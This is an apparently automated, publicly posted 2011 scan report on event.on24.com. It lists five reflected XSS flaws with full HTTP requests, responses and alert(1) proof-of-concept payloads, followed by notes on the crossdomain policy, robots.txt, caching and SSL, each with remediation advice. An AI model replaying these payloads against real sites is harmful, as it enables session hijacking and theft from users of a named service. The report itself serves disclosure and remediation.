XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, event.on24.com

Report generated by XSS.CX at Sat Jun 18 07:51:46 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Private Reporting of Security Research is preferred for Online Service Providers

1. Cross-site scripting (reflected)

1.1. https://event.on24.com/eventRegistration/EventLobbyServlet [key parameter]

1.2. https://event.on24.com/eventRegistration/EventLobbyServlet [partnerref parameter]

1.3. https://event.on24.com/eventRegistration/EventLobbyServlet [sessionid parameter]

1.4. https://event.on24.com/eventRegistration/EventLobbyServlet [sourcepage parameter]

1.5. https://event.on24.com/eventRegistration/EventLobbyServlet [User-Agent HTTP header]

2. Flash cross-domain policy

3. Robots.txt file

4. Cacheable HTTPS response

5. SSL certificate

1. Cross-site scripting (reflected) next
There are 5 instances of this issue:

/eventRegistration/EventLobbyServlet [key parameter]
/eventRegistration/EventLobbyServlet [partnerref parameter]
/eventRegistration/EventLobbyServlet [sessionid parameter]
/eventRegistration/EventLobbyServlet [sourcepage parameter]
/eventRegistration/EventLobbyServlet [User-Agent HTTP header]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://event.on24.com/eventRegistration/EventLobbyServlet [key parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	https://event.on24.com
Path:	/eventRegistration/EventLobbyServlet

Issue detail

The value of the key request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33f12"><x%20style%3dx%3aexpression(alert(1))>525c4b58b was submitted in the key parameter. This input was echoed as 33f12"><x style=x:expression(alert(1))>525c4b58b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /eventRegistration/EventLobbyServlet?target=registration.jsp&eventid=314891&sessionid=1&key=8729B49150E5563D2E91CA897CC7BD5A33f12"><x%20style%3dx%3aexpression(alert(1))>525c4b58b&partnerref=web&sourcepage=register HTTP/1.1
Host: event.on24.com
Connection: keep-alive
Referer: http://event.on24.com/eventRegistration/eventRegistrationServlet?eventid=314891&sessionid=1&key=8729B49150E5563D2E91CA897CC7BD5A&partnerref=web&referrer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BIGipServereventprd_http=2617377290.20480.0000; JSESSIONID=xxyLWfxSXFtwWJiL1ODrx7YEVdENAzTJIWqMYR7Uvtt48mxmNC45!-1909583097; BIGipServereventprd_wl=1426194954.55319.0000

Response

HTTP/1.1 200 OK
Date: Sat, 18 Jun 2011 12:41:58 GMT
Content-Type: text/html; charset=utf-8
X-Powered-By: Servlet/2.5 JSP/2.1
Connection: close

<!-- optional parameters
cb : leave blank to hide logo, or pass in appropriate cb value
topmargin - default is 20
leftmargin
...[SNIP]...
<input type="hidden" name="key" value="8729B49150E5563D2E91CA897CC7BD5A33f12"><x style=x:expression(alert(1))>525c4b58b">
...[SNIP]...

1.2. https://event.on24.com/eventRegistration/EventLobbyServlet [partnerref parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://event.on24.com
Path:	/eventRegistration/EventLobbyServlet

Issue detail

The value of the partnerref request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df6c7"><x%20style%3dx%3aexpression(alert(1))>df1edf646f was submitted in the partnerref parameter. This input was echoed as df6c7"><x style=x:expression(alert(1))>df1edf646f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /eventRegistration/EventLobbyServlet?target=registration.jsp&eventid=314891&sessionid=1&key=8729B49150E5563D2E91CA897CC7BD5A&partnerref=webdf6c7"><x%20style%3dx%3aexpression(alert(1))>df1edf646f&sourcepage=register HTTP/1.1
Host: event.on24.com
Connection: keep-alive
Referer: http://event.on24.com/eventRegistration/eventRegistrationServlet?eventid=314891&sessionid=1&key=8729B49150E5563D2E91CA897CC7BD5A&partnerref=web&referrer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BIGipServereventprd_http=2617377290.20480.0000; JSESSIONID=xxyLWfxSXFtwWJiL1ODrx7YEVdENAzTJIWqMYR7Uvtt48mxmNC45!-1909583097; BIGipServereventprd_wl=1426194954.55319.0000

Response

HTTP/1.1 200 OK
Date: Sat, 18 Jun 2011 12:42:15 GMT
Content-Type: text/html; charset=utf-8
X-Powered-By: Servlet/2.5 JSP/2.1
Connection: close

<!-- optional parameters
cb : leave blank to hide logo, or pass in appropriate cb value
topmargin - default is 20
leftmargin
...[SNIP]...
<input type="hidden" name="partnerref" value="webdf6c7"><x style=x:expression(alert(1))>df1edf646f">
...[SNIP]...

1.3. https://event.on24.com/eventRegistration/EventLobbyServlet [sessionid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://event.on24.com
Path:	/eventRegistration/EventLobbyServlet

Issue detail

The value of the sessionid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86992"><x%20style%3dx%3aexpression(alert(1))>7ff7e63aef2 was submitted in the sessionid parameter. This input was echoed as 86992"><x style=x:expression(alert(1))>7ff7e63aef2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /eventRegistration/EventLobbyServlet?target=registration.jsp&eventid=314891&sessionid=186992"><x%20style%3dx%3aexpression(alert(1))>7ff7e63aef2&key=8729B49150E5563D2E91CA897CC7BD5A&partnerref=web&sourcepage=register HTTP/1.1
Host: event.on24.com
Connection: keep-alive
Referer: http://event.on24.com/eventRegistration/eventRegistrationServlet?eventid=314891&sessionid=1&key=8729B49150E5563D2E91CA897CC7BD5A&partnerref=web&referrer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BIGipServereventprd_http=2617377290.20480.0000; JSESSIONID=xxyLWfxSXFtwWJiL1ODrx7YEVdENAzTJIWqMYR7Uvtt48mxmNC45!-1909583097; BIGipServereventprd_wl=1426194954.55319.0000

Response

HTTP/1.1 200 OK
Date: Sat, 18 Jun 2011 12:41:46 GMT
Content-Type: text/html; charset=utf-8
X-Powered-By: Servlet/2.5 JSP/2.1
Connection: close

<!-- optional parameters
cb : leave blank to hide logo, or pass in appropriate cb value
topmargin - default is 20
leftmargin
...[SNIP]...
<input type="hidden" name="sessionid" value="186992"><x style=x:expression(alert(1))>7ff7e63aef2">
...[SNIP]...

1.4. https://event.on24.com/eventRegistration/EventLobbyServlet [sourcepage parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://event.on24.com
Path:	/eventRegistration/EventLobbyServlet

Issue detail

The value of the sourcepage request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e068"><x%20style%3dx%3aexpression(alert(1))>6d087ca78d4 was submitted in the sourcepage parameter. This input was echoed as 6e068"><x style=x:expression(alert(1))>6d087ca78d4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /eventRegistration/EventLobbyServlet?target=registration.jsp&eventid=314891&sessionid=1&key=8729B49150E5563D2E91CA897CC7BD5A&partnerref=web&sourcepage=register6e068"><x%20style%3dx%3aexpression(alert(1))>6d087ca78d4 HTTP/1.1
Host: event.on24.com
Connection: keep-alive
Referer: http://event.on24.com/eventRegistration/eventRegistrationServlet?eventid=314891&sessionid=1&key=8729B49150E5563D2E91CA897CC7BD5A&partnerref=web&referrer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BIGipServereventprd_http=2617377290.20480.0000; JSESSIONID=xxyLWfxSXFtwWJiL1ODrx7YEVdENAzTJIWqMYR7Uvtt48mxmNC45!-1909583097; BIGipServereventprd_wl=1426194954.55319.0000

Response

HTTP/1.1 200 OK
Date: Sat, 18 Jun 2011 12:42:32 GMT
Content-Type: text/html; charset=utf-8
X-Powered-By: Servlet/2.5 JSP/2.1
Connection: close

<!-- optional parameters
cb : leave blank to hide logo, or pass in appropriate cb value
topmargin - default is 20
leftmargin
...[SNIP]...
<input type="hidden" name="sourcepage" value="register6e068"><x style=x:expression(alert(1))>6d087ca78d4">
...[SNIP]...

1.5. https://event.on24.com/eventRegistration/EventLobbyServlet [User-Agent HTTP header] previous

Summary

Severity:	Low
Confidence:	Certain
Host:	https://event.on24.com
Path:	/eventRegistration/EventLobbyServlet

Issue detail

The value of the User-Agent HTTP header is copied into an HTML comment. The payload cf94d--><script>alert(1)</script>dde15ecb59d was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /eventRegistration/EventLobbyServlet?target=registration.jsp&eventid=314891&sessionid=1&key=8729B49150E5563D2E91CA897CC7BD5A&partnerref=web&sourcepage=register HTTP/1.1
Host: event.on24.com
Connection: keep-alive
Referer: http://event.on24.com/eventRegistration/eventRegistrationServlet?eventid=314891&sessionid=1&key=8729B49150E5563D2E91CA897CC7BD5A&partnerref=web&referrer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24cf94d--><script>alert(1)</script>dde15ecb59d
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BIGipServereventprd_http=2617377290.20480.0000; JSESSIONID=xxyLWfxSXFtwWJiL1ODrx7YEVdENAzTJIWqMYR7Uvtt48mxmNC45!-1909583097; BIGipServereventprd_wl=1426194954.55319.0000

Response

HTTP/1.1 200 OK
Date: Sat, 18 Jun 2011 12:42:47 GMT
Content-Type: text/html; charset=utf-8
X-Powered-By: Servlet/2.5 JSP/2.1
Connection: close

<script>alert(1)</script>dde15ecb59d
-->
...[SNIP]...

2. Flash cross-domain policy previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://event.on24.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: event.on24.com

Response

HTTP/1.1 200 OK
Date: Sat, 18 Jun 2011 12:41:03 GMT
Server: Apache
Last-Modified: Sat, 18 Jun 2011 00:37:19 GMT
Accept-Ranges: bytes
Content-Length: 3138
Connection: close
Content-Type: application/xml; charset=utf-8

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="i.cmpnet.com" />
<allow-access-from domain="www.ttglive.com" />
<allow-access-from domain="www.ddj.com" />
<allow-access-from domain="building.co.uk" />
<allow-access-from domain="http.earthcache.net" />
...[SNIP]...
<allow-access-from domain="webcast.on24.com" />
<allow-access-from domain="*.on24.com" />
<allow-access-from domain="a659.g.akamai.net" />

<allow-access-from domain="wcc.webeventservices.com" />
   <allow-access-from domain="event.meetingstream.com" />
   <allow-access-from domain="event.ciscowebseminars.com" />
   <allow-access-from domain="webcast.premiereglobal.com" />
<allow-access-from domain="event.cisco-live.com" />
<allow-access-from domain="*.cisco.com" />
<allow-access-from domain="*.cisco-live.com" />
   <allow-access-from domain="*.ciscolivevirtual.veplatform.com" />
   <allow-access-from domain="*.onlineseminarsolutions.com" />
   <allow-access-from domain="intelwc.on24.com" />

<allow-access-from domain="*.ogilvy.com" />
<allow-access-from domain="motifcdn2.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="motifcdn.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="ad.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m2.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m3.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m1.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m2.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m.fr.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m.se.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="m.de.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="event.webcast.meetyoo.de" secure="true" />
...[SNIP]...
<allow-access-from domain="webcast.acrobat.com" secure="true" />
...[SNIP]...
<allow-access-from domain="wccqa.webeventservices.com" />
   <allow-access-from domain="eventqa.meetingstream.com" />
   <allow-access-from domain="eventqa.ciscowebseminars.com" />
   <allow-access-from domain="webcastqa.premiereglobal.com" />

<allow-access-from domain="eventqa.webcast.meetyoo.de" secure="true" />
...[SNIP]...
<allow-access-from domain="webcastqa.acrobat.com" secure="true" />
...[SNIP]...
<allow-access-from domain="livestream.webex.com" secure="true" />
...[SNIP]...
<allow-access-from domain="event.vcallinteraction.com" secure="true" />
...[SNIP]...
<allow-access-from domain="eventqa.vcallinteraction.com" secure="true" />
...[SNIP]...
<allow-access-from domain="vshowqa.on24.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.inbfw.com"/>
   <allow-access-from domain="ciscovirtualevents.webex.com"/>
   <allow-access-from domain="vmc.lillypro.co.uk"/>

   <allow-access-from domain="on24.force.com" secure="true" />
...[SNIP]...

3. Robots.txt file previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://event.on24.com
Path:	/eventRegistration/EventLobbyServlet

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: event.on24.com

Response

HTTP/1.1 200 OK
Date: Sat, 18 Jun 2011 12:41:03 GMT
Server: Apache
Last-Modified: Fri, 21 Nov 2008 01:10:07 GMT
Accept-Ranges: bytes
Content-Length: 1433
Cache-Control: no-cache,must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/plain; charset=UTF-8

User-agent: *
Disallow: /clients/
Disallow: /demos/
Disallow: /images/
Disallow: /includes/
Disallow: /interface/
Disallow: /media/
Disallow: /vutils/
Disallow: /custom/
Disallow: /eventManag
...[SNIP]...

4. Cacheable HTTPS response previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://event.on24.com
Path:	/eventRegistration/EventLobbyServlet

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

Request

GET /eventRegistration/EventLobbyServlet?target=registration.jsp&eventid=314891&sessionid=1&key=8729B49150E5563D2E91CA897CC7BD5A&partnerref=web&sourcepage=register HTTP/1.1
Host: event.on24.com
Connection: keep-alive
Referer: http://event.on24.com/eventRegistration/eventRegistrationServlet?eventid=314891&sessionid=1&key=8729B49150E5563D2E91CA897CC7BD5A&partnerref=web&referrer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BIGipServereventprd_http=2617377290.20480.0000; JSESSIONID=xxyLWfxSXFtwWJiL1ODrx7YEVdENAzTJIWqMYR7Uvtt48mxmNC45!-1909583097; BIGipServereventprd_wl=1426194954.55319.0000

Response

HTTP/1.1 200 OK
Date: Sat, 18 Jun 2011 12:41:01 GMT
Content-Type: text/html; charset=utf-8
X-Powered-By: Servlet/2.5 JSP/2.1
Connection: close

<!-- optional parameters
cb : leave blank to hide logo, or pass in appropriate cb value
topmargin - default is 20
leftmargin
...[SNIP]...

5. SSL certificate previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://event.on24.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.on24.com
Issued by:	Network Solutions Certificate Authority
Valid from:	Tue Oct 07 19:00:00 CDT 2008
Valid to:	Thu Oct 18 18:59:59 CDT 2012

Certificate chain #1

Issued to:	Network Solutions Certificate Authority
Issued by:	UTN-USERFirst-Hardware
Valid from:	Sun Apr 09 19:00:00 CDT 2006
Valid to:	Sat May 30 05:48:38 CDT 2020

Certificate chain #2

Issued to:	UTN-USERFirst-Hardware
Issued by:	UTN-USERFirst-Hardware
Valid from:	Fri Jul 09 13:10:42 CDT 1999
Valid to:	Tue Jul 09 13:19:22 CDT 2019

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Sat Jun 18 07:51:46 CDT 2011.